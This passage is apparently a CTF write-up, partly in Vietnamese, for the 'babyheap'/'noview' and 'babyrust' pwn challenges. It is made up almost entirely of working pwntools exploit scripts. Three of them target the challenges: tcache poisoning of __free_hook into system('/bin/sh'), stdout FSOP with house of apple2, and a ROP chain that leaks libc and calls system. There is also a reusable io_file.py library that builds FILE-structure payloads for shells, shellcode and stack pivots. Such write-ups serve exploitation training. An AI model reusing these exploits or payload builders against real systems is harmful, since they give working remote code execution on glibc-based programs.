sử dụng puts nên ta có thể leak libc ![image](https://hackmd.io/_uploads/r1MrWgKPkg.png) ![image](https://hackmd.io/_uploads/BJhbMlFP1e.png) script : ```python #!/usr/bin/env python3 from pwn import * exe = ELF("./chal_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.31.so") context.binary = exe #p = process() #p = remote('172.31.3.2', 4240) def alloc(index, size): p.sendlineafter(b'> ',b'1') p.sendlineafter(b'index > ',str(index)) p.sendlineafter(b'size > ',str(size)) def free(index): p.sendlineafter(b'> ',b'2') p.sendlineafter(b"index > ", str(index)) def edit(index, txt): p.sendlineafter(b'> ',b'3') p.sendlineafter(b"index > ", str(index)) p.sendafter(b"content > ",txt) def copy(index1, index2): p.sendlineafter(b'> ',b'4') p.sendlineafter(b'index1 > ', str(index1)) p.sendlineafter(b'inde2 > ', str(index2)) while True: p = remote('172.31.3.2',4240) alloc(1, 0x420) # unsorted bin alloc(2, 0x10) # tránh gộp chunk free(1) alloc(3, 0x60) # 3 thằng này sẽ chứa fd và bk đến main_arena alloc(4, 0x60) alloc(5, 0x60) free(4) #2 free(5) #1 copy(5, 3) # change fd của chunk5 bằng stdout : 1/16 edit(5, p16(0x36a0)) alloc(6, 0x60) alloc(7, 0x60) try: edit(7, p64(0xfbad1800) + p64(0) * 3 + b'\x00') libc.address = u64(p.recvline()[8:16]) - 0x1ec980 log.info(f'libc: {hex(libc.address)}') libc_freehook = libc.sym.__free_hook libc_system = libc.sym.system #### Tcache posioning #### alloc(8, 0x50) alloc(9, 0x50) free(9) free(8) edit(8,p64(libc_freehook)) alloc(10, 0x50) alloc(11, 0x50) edit(11, p64(libc_system)) alloc(12, 0x30) edit(12, b'/bin/sh\x00') free(12) break except: p.close() p.interactive() ``` ![image](https://hackmd.io/_uploads/ByHjXltvJg.png) ### cách 2 ```python #!/usr/bin/env python3 from pwn import * import io_file exe = ELF("./chal_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-2.31.so") context.binary = exe global p, index def conn(): if args.LOCAL: p = process([exe.path]) if args.GDB: gdb.attach(p,gdbscript=''' dprintf *edit+0xe9,"reading into %p\\n",$rdi continue ''') sleep(2) else: p = remote("172.31.3.2",4240) return p def malloc(idx, size): p.sendlineafter(b"exit",b"1") p.sendlineafter(b"index >",str(idx).encode()) p.sendlineafter(b"size >",str(size).encode()) def free(idx): p.sendlineafter(b"exit",b"2") p.sendlineafter(b"index >",str(idx).encode()) def edit(idx, data): # this func has overflow Lol p.sendlineafter(b"exit",b"3") p.sendlineafter(b"index >",str(idx).encode()) # p.sendlineafter(b"size >",b"99999") p.sendafter(b"content > ",data) def read(idx): p.sendlineafter(b"exit",b"3") p.sendlineafter(b"index > ",str(idx).encode()) leak = p.readuntil(b"1. add note",drop=True) return leak def main(): global p p = conn() """ babyheap & noview without doing any heap exploitation :troll: theory: for babyheap AND noview, there is no bounds check on the 'edit' feature this means if there are any pointers lying outside of the 'notes' array, we can write to them with the edit feature and right behind 'notes' are pointers to libc's stdin/stdout/stderr! these are well known to be VERY exploitable, and we can freely edit them. :) more at https://corgi.rip/posts/leakless_heap_1/, "Step 2: RCE" section """ # context: stdout is at notes[-8] # step 0: create chunk at notes[24] so that sizes[-8] has valid size malloc(28,0x60) # step 1: hijack stdout to force libc leak edit(-8,( p64(0xfbad3887) + # add _IO_IS_APPENDING flag to stdout p64(0)*3 + # read_base, end, and ptr. can be anything p8(0) # overwrite LSB of write_base )) libc_leak = u64(p.recvn(16)[8:]) libc.address = libc_leak - libc.sym['_IO_2_1_stdin_'] info(f"{libc.address:#x}") # step 2: fsop to shell file = io_file.IO_FILE_plus_struct() payload = file.house_of_apple2_execmd_when_do_IO_operation( libc.sym['_IO_2_1_stdout_'], libc.sym['_IO_wfile_jumps'], libc.sym['system']) edit(-8,payload) p.interactive() # What is a heap exploitations? Someone help if __name__ == "__main__": main() ``` io_file ```python #!/usr/bin/env python3 # -*- encoding: utf-8 -*- ''' @File : io_file.py @Time : 2021/11/23 23:46:48 @Author : Roderick Chan @Email : roderickchan@foxmail.com @Desc : Extension for FileStructure in pwntools and define useful IO_FILE related methods ''' from pwn import FileStructure, context, error, flat, pack, unpack __all__ = [ "IO_FILE_plus_struct", "payload_replace" ] class IO_FILE_plus_struct(FileStructure): def __init__(self, null=0): FileStructure.__init__(self, null) def __setattr__(self,item,value): if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_: object.__setattr__(self,item,value) else: error("Unknown variable %r" % item) def __getattr__(self,item): if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_: return object.__getattribute__(self,item) error("Unknown variable %r" % item) def __str__(self): return str(self.__bytes__())[2:-1] @property def _mode(self) -> int: off = 96 if context.bits == 64: off = 192 return (self.unknown2 >> off) & 0xffffffff @_mode.setter def _mode(self, value:int): assert value <= 0xffffffff and value >= 0, "value error: {}".format(hex(value)) off = 96 if context.bits == 64: off = 192 self.unknown2 |= (value << off) @staticmethod def show_struct(arch="amd64"): if arch not in ("amd64", "i386"): error("arch error, noly i386 and amd64 supported!") print("arch :", arch) _IO_FILE_plus_struct_map = { 'i386':{ 0x0:'_flags', 0x4:'_IO_read_ptr', 0x8:'_IO_read_end', 0xc:'_IO_read_base', 0x10:'_IO_write_base', 0x14:'_IO_write_ptr', 0x18:'_IO_write_end', 0x1c:'_IO_buf_base', 0x20:'_IO_buf_end', 0x24:'_IO_save_base', 0x28:'_IO_backup_base', 0x2c:'_IO_save_end', 0x30:'_markers', 0x34:'_chain', 0x38:'_fileno', 0x3c:'_flags2', 0x40:'_old_offset', 0x44:'_cur_column', 0x46:'_vtable_offset', 0x47:'_shortbuf', 0x48:'_lock', 0x4c:'_offset', 0x54:'_codecvt', 0x58:'_wide_data', 0x5c:'_freeres_list', 0x60:'_freeres_buf', 0x64:'__pad5', 0x68:'_mode', 0x6c:'_unused2', 0x94:'vtable' }, 'amd64':{ 0x0:'_flags', 0x8:'_IO_read_ptr', 0x10:'_IO_read_end', 0x18:'_IO_read_base', 0x20:'_IO_write_base', 0x28:'_IO_write_ptr', 0x30:'_IO_write_end', 0x38:'_IO_buf_base', 0x40:'_IO_buf_end', 0x48:'_IO_save_base', 0x50:'_IO_backup_base', 0x58:'_IO_save_end', 0x60:'_markers', 0x68:'_chain', 0x70:'_fileno', 0x74:'_flags2', 0x78:'_old_offset', 0x80:'_cur_column', 0x82:'_vtable_offset', 0x83:'_shortbuf', 0x88:'_lock', 0x90:'_offset', 0x98:'_codecvt', 0xa0:'_wide_data', 0xa8:'_freeres_list', 0xb0:'_freeres_buf', 0xb8:'__pad5', 0xc0:'_mode', 0xc4:'_unused2', 0xd8:'vtable' } } for k, v in _IO_FILE_plus_struct_map[arch].items(): print(" {} : {} ".format(hex(k), v)) def getshell_from_IO_puts_by_stdout_libc_2_23(self, stdout_store_addr:int, system_addr:int, lock_addr:int): """Exec shell by IO_puts by _IO_2_1_stdout_ in libc-2.23.so Args: stdout_store_addr (int): The address stored in stdout. Probably is libc.sym['_IO_2_1_stdout_']. system_addr (int): System address. lock_addr (int): Lock address. Returns: bytes: payload. """ self.flags = 0x68732f6e69622f self._IO_read_ptr = 0x61 self._IO_save_base = system_addr self._lock = lock_addr self.vtable = stdout_store_addr + 0x10 return self.__bytes__() # only support amd64 def getshell_by_str_jumps_finish_when_exit(self, _IO_str_jumps_addr:int, system_addr:int, bin_sh_addr:int): """Execute system("/bin/sh") through fake IO_FILE struct, and the version of libc should be between 2.24 and 2.29. Usually, you have hijacked _IO_list_all, and will call _IO_flush_all_lockp by exit or other function. Args: _IO_str_jumps_addr (int): Addr of _IO_str_jumps system_addr (int): Addr of system bin_sh_addr (int): Addr of the string: /bin/sh Returns: bytes: payload """ assert context.bits == 64, "only support amd64!" self.flags &= ~1 self._IO_read_ptr = 0x61 self.unknown2 = 0 self._IO_write_base = 0 self._IO_write_ptr = 0x1 self._IO_buf_base = bin_sh_addr self.vtable = _IO_str_jumps_addr - 8 return self.__bytes__() + pack(0, 64) + pack(system_addr, 64) def house_of_pig_exec_shellcode(self, fp_heap_addr:int, gadget_addr:int, str_jumps_addr:int, setcontext_off_addr:int, mprotect_addr:int, shellcode: str or bytes, lock:int=0): """House of pig to exec shellcode with setcontext. You should fill tcache_perthread_struct[0x400] with '__free_hook - 0x1c0' addr. Args: fp_heap_addr (int): The heap addr that replace original _IO_list_all or chain gadget_addr (int): Gadget addr for 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]' str_jumps_addr (int): Addr of _IO_str_jumps setcontext_off_addr (int): Addr of setcontext and add offset, which is often 61 mprotect_addr (int): Addr of mprotect shellcode ([type]): The shellcode you wanner execute lock (int, optional): lock value if needed. Defaults to 0. Returns: bytes: payload """ assert context.bits == 64, "only support amd64!" self.flags = 0xfbad2800 self._IO_write_base = 0 self._IO_write_ptr = 0xffffffffffffff self.unknown2 = 0 self._lock = lock self.vtable = str_jumps_addr self._IO_buf_base = fp_heap_addr + 0x110 self._IO_buf_end = fp_heap_addr +0x110 + 0x1c8 payload = flat({ 0:self.__bytes__(), 0x100:{ 0x8: fp_heap_addr + 0x110, 0x20: setcontext_off_addr, 0xa0: fp_heap_addr + 0x210, 0xa8: mprotect_addr, 0x70: 0x2000, 0x68: (fp_heap_addr + 0x110)&~0xfff, 0x88: 7, 0x100: fp_heap_addr + 0x310, 0x1c0: gadget_addr, 0x200: shellcode } }) return payload # house of apple2: https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/ # suitable for ubuntu 22.04 def house_of_apple2_execmd_when_exit(self, standard_FILE_addr: int, _IO_wfile_jumps_addr: int, system_addr: int, cmd: str="sh"): """make sure standard_FILE_addr is one of address of _IO_2_1_stdin_/_IO_2_1_stdout_/_IO_2_1_stderr_. If not, content of standard_FILE_addr-0x30 and standard_FILE_addr-0x18 must be 0.""" assert context.bits == 64, "only support amd64!" assert len(cmd) < 7, "length of cmd must lower than 7" self.flags = unpack(" " + cmd.ljust(6, "\x00"), 64) # " sh" self._IO_write_base = 0 self._IO_write_ptr = 1 self._mode = 0 self._lock = standard_FILE_addr-0x10 self.chain = system_addr self._codecvt = standard_FILE_addr self._wide_data = standard_FILE_addr - 0x48 self.vtable = _IO_wfile_jumps_addr return self.__bytes__() house_of_apple2_execmd_when_do_IO_operation = house_of_apple2_execmd_when_exit # house of apple2: https://www.roderickchan.cn/zh-cn/house-of-apple-%E4%B8%80%E7%A7%8D%E6%96%B0%E7%9A%84glibc%E4%B8%ADio%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95-2/ # suitable for ubuntu 22.04 def house_of_apple2_stack_pivoting_when_exit(self, standard_FILE_addr: int, _IO_wfile_jumps_addr: int, leave_ret_addr: int, pop_rbp_addr: int, fake_rbp_addr: int): """make sure standard_FILE_addr is one of address of _IO_2_1_stdin_/_IO_2_1_stdout_/_IO_2_1_stderr_. If not, content of standard_FILE_addr-0x30 and standard_FILE_addr-0x18 must be 0.""" assert context.bits == 64, "only support amd64!" self.flags = 0 self._IO_read_ptr = pop_rbp_addr self._IO_read_end = fake_rbp_addr self._IO_read_base = leave_ret_addr self._IO_write_base = 0 self._IO_write_ptr = 1 self._mode = 0 self._lock = standard_FILE_addr-0x10 self.chain = leave_ret_addr self._codecvt = standard_FILE_addr self._wide_data = standard_FILE_addr - 0x48 self.vtable = _IO_wfile_jumps_addr return self.__bytes__() house_of_apple2_stack_pivoting_when_do_IO_operation = house_of_apple2_stack_pivoting_when_exit def house_of_Lys_getshell_when_exit_under_2_37(self, system_addr : int, _IO_obstack_jumps_addr : int, fp_heap_addr : int, ): ''' House_of_Lys to getshell: Args: system_addr: Address of system _IO_obstack_jumps_addr: Address of _IO_obstack_jumps fp_heap_addr: The heap addr that replace original _IO_list_all or chain ''' assert context.bits == 64, "only support amd64!" self._IO_read_base = 1 self._IO_write_base = 0 self._IO_write_ptr = 1 self._IO_write_end = 0 self._IO_buf_base = system_addr self._IO_save_base = fp_heap_addr + 0xa0 self._IO_backup_base = 1 self._wide_data = 0x68732f6e69622f self.vtable = _IO_obstack_jumps_addr + 0x20 return self.__bytes__() + pack(fp_heap_addr, 64) def house_of_Lys_stack_pivoting_when_exit_between_2_30_and_2_36(self, fp_heap_addr : int, _IO_obstack_jumps_addr : int, rop_payload : str or bytes, magic_gadget_one_addr : int, magic_gadget_two_addr : int, magic_gadget_three_addr : int): ''' House_of_Lys to execute ROP chain by stack pivoting: Args: fp_heap_addr(int): The heap addr that replace original _IO_list_all or chain _IO_obstack_jumps_addr(int): Address of _IO_obstack_jumps rop_payload(bytes or str): The ROP chain you wanner execute magic_gadget_one_addr(int): Address of "mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]" magic_gadget_two_addr(int): Address of "mov rsp, rdx; ret" magic_gadget_three_addr(int): Address of "add rsp, 0x30; mov rax, r12; pop r12; ret" Notices: 1. The size of fp_heap must be exceeded 0x128+len(rop_payload)! If not, you can use [0xe0:] and payload_replace to set ropchain in other memory 2. We can use the following code to find gadgets: libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__() libc.search(asm("mov rsp, rdx; ret")).__next__() libc.search(asm("add rsp, 0x30; mov rax, r12; pop r12; ret")).__next__() ''' assert context.bits == 64, "only support amd64!" rop_chain_addr = fp_heap_addr + 0xe8 self._IO_read_base = 1 self._IO_write_base = 0 self._IO_write_ptr = 1 self._IO_write_end = 0 self._IO_buf_base = magic_gadget_one_addr self._IO_save_base = rop_chain_addr self._IO_backup_base = 1 self.vtable = _IO_obstack_jumps_addr + 0x20 payload = flat( { 0x0:self.__bytes__() + pack(fp_heap_addr, 64), 0xe8:{ 0x0:magic_gadget_three_addr, 0x8:rop_chain_addr, #Maybe sometimes you need to replace this address 0x20:magic_gadget_two_addr, 0x40:rop_payload } } ) return payload def house_of_Lys_stack_pivoting_when_exit_in_2_36(self, fp_heap_addr : int, _IO_obstack_jumps_addr : int, rop_payload : bytes or str, magic_gadget_one_addr : int, magic_gadget_two_addr :int, magic_gadget_three_addr : int, ): ''' House_of_Lys to execute ROP chain by stack pivoting in GLibc 2.36: Args: fp_heap_addr(int): The heap addr that replace original _IO_list_all or chain _IO_obstack_jumps_addr(int): Address of _IO_obstack_jumps rop_payload(bytes or str): The ROP chain you wanner execute magic_gadget_one_addr(int): Address of "mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]" magic_gadget_two_addr(int): Address of "mov rsp, rdx; ret" magic_gadget_three_addr(int): Address of "add rsp, 0x38 ; mov rax, rcx ; ret" Notices: 1. The size of fp_heap must be exceeded 0x130+len(rop_payload)! If not, you can use [0xe0:] and payload_replace to set ropchain in other memory 2. We can use the following code to find gadgets: libc.search(asm("mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]")).__next__() libc.search(asm("mov rsp, rdx; ret")).__next__() libc.search(asm("add rsp, 0x38 ; mov rax, rcx ; ret")).__next__() ''' assert context.bits == 64, "only support amd64!" rop_chain_addr = fp_heap_addr + 0xe8 self._IO_read_base = 1 self._IO_write_base = 0 self._IO_write_ptr = 1 self._IO_write_end = 0 self._IO_buf_base = magic_gadget_one_addr - 0x8 self._IO_save_base = rop_chain_addr self._IO_backup_base = 1 self.vtable = _IO_obstack_jumps_addr + 0x20 payload = flat( { 0x0:self.__bytes__() + pack(fp_heap_addr, 64), 0xe8:{ 0x0:rop_chain_addr, #Maybe sometimes you need to replace this address 0x8:magic_gadget_three_addr, 0x28:magic_gadget_two_addr, 0x38:rop_chain_addr + 0x8, 0x48:rop_payload } } ) return payload def payload_replace(payload: str or bytes, rpdict:dict=None, filler="\x00"): assert isinstance(payload, (str, bytes)), "wrong payload!" assert context.bits in (32, 64), "wrong context.bits!" assert len(filler) == 1, "wrong filler!" if isinstance(payload, str): payload = payload.encode('latin-1') output = list(payload) if isinstance(filler, str): filler = filler.encode('latin-1') for off, data in rpdict.items(): assert isinstance(off, (int, str, bytes)), "wrong off in rpdict! Type error!" assert isinstance(data, (int, bytes, str)), "wrong data: {}!".format(data) if isinstance(off, str): off = off.encode('latin-1') if isinstance(off, bytes): off = payload.find(off) assert off > -1, "Cannot find off in payload!" else: assert off > -1, "wrong off in rpdict! Cannot be neg number!" if isinstance(data, str): data = data.encode('latin-1') elif isinstance(data, int): data = pack(data, word_size=context.bits, endianness=context.endian) distance = len(output) - len(data) if off > distance: output.extend([int.from_bytes(filler, "little")]*(off - distance)) for i, d in enumerate(data): output[off+i] = d return bytes(output) ``` --------- ## Babyrust ``` #!/usr/bin/env python3 from pwn import * exe = ELF("./babyrust_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe global p def conn(): if args.LOCAL: p = process([exe.path]) if args.GDB: gdb.attach(p,gdbscript=''' break *_ZN8babyrust4main17h57a652059325662bE+362 continue ''') sleep(2) else: p = remote("172.31.1.2",11102) return p # set three arguments def three_arg_chain(a,b,c): r = ROP([exe]) return flat( r.find_gadget(['pop rdi','ret'])[0], a, r.find_gadget(['pop rsi', 'ret'])[0], b, r.find_gadget(['pop rcx','ret'])[0], c, exe.address + 0x2fc23, # mov rdx, rcx ; pop rcx ; ret ; 0x69696969) # call *p (useful for calling GOT functions) def call_ptr(p): r = ROP([exe]) return flat( r.find_gadget(['pop rcx','ret'])[0], p, exe.address + 0x36157 # jmp qword [rcx] ; ) def main(): global p p = conn() p.readuntil(b'Magic: ') leak = int(p.readline(),16) exe.address = leak - exe.sym['_ZN8babyrust5MAGIC17h48b2c6b515a9771cE'] info(f"{exe.address=:#x}") exe_writable_area = exe.address + 331776 # info(f"{exe.plt['mprotect']=:#x}") p.sendlineafter(b"Give me your overflow: ",cyclic(448) + flat( three_arg_chain(1,exe.got['write'],8), call_ptr(exe.got['write']), exe.address+0x601a, # ret (stack alignment) exe.address+0x601a, # ret (stack alignment) exe.address+0x601a, # ret (stack alignment) exe.address+0x601a, # ret (stack alignment) exe.sym['_ZN8babyrust4main17h57a652059325662bE'], )) libc_leak = u64(p.recvn(8)) info(f"{libc_leak=:#x}") libc.address = libc_leak - libc.sym['write'] info(f"{libc.address=:#x}") r = ROP([exe,libc]) r.raw(r.find_gadget(["ret"])[0]) binsh = next(libc.search(b"/bin/sh\0")) r.system(binsh) p.sendlineafter(b"Give me your overflow",cyclic(448)+ r.chain()) p.interactive() # PLIMB's up! if __name__ == "__main__": main() ``` https://github.com/pwn2ooown/My-CTF-Challenges-Public/blob/main/2025_TSCCTF/babyrust/exp/exp.py